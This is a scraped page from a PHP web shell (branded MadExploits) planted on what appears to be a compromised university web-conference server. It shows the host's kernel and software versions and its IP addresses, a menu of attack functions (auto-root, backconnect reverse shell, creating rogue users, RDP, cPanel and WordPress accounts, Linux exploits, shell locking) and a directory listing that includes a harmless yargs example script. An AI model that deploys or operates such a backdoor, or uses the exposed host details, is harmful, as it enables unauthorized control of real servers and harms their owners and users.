Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.117.192.205
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-yargs /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
cmds
[ DIR ]
drwxr-xr-x
bool.js
233
B
-rw-r--r--
boolean_double.js
150
B
-rw-r--r--
boolean_single.js
138
B
-rw-r--r--
command_hierarchy.js
96
B
-rw-r--r--
complex.js
1.32
KB
-rw-r--r--
count.js
495
B
-rw-r--r--
default_hash.js
125
B
-rw-r--r--
default_singles.js
134
B
-rw-r--r--
demand_count.js
92
B
-rw-r--r--
divide.js
156
B
-rw-r--r--
help.js
623
B
-rw-r--r--
implies.js
176
B
-rw-r--r--
implies_hash.js
408
B
-rw-r--r--
line_count.js
406
B
-rw-r--r--
line_count_options.js
632
B
-rw-r--r--
line_count_wrap.js
756
B
-rw-r--r--
nonopt.js
115
B
-rw-r--r--
requires_arg.js
359
B
-rw-r--r--
short.js
94
B
-rw-r--r--
strict.js
423
B
-rw-r--r--
string.js
214
B
-rw-r--r--
usage-options.js
460
B
-rw-r--r--
xup.js
189
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : line_count_options.js
#!/usr/bin/env node var argv = require('yargs') .usage('Count the lines in a file.\nUsage: $0') .options({ file : { demand : true, alias : 'f', description : 'Load a file' }, base : { alias : 'b', description : 'Numeric base to use for output', default : 10, }, }) .argv ; var fs = require('fs'); var s = fs.createReadStream(argv.file); var lines = 0; s.on('data', function (buf) { lines += buf.toString().match(/\n/g).length; }); s.on('end', function () { console.log(lines.toString(argv.base)); });
Close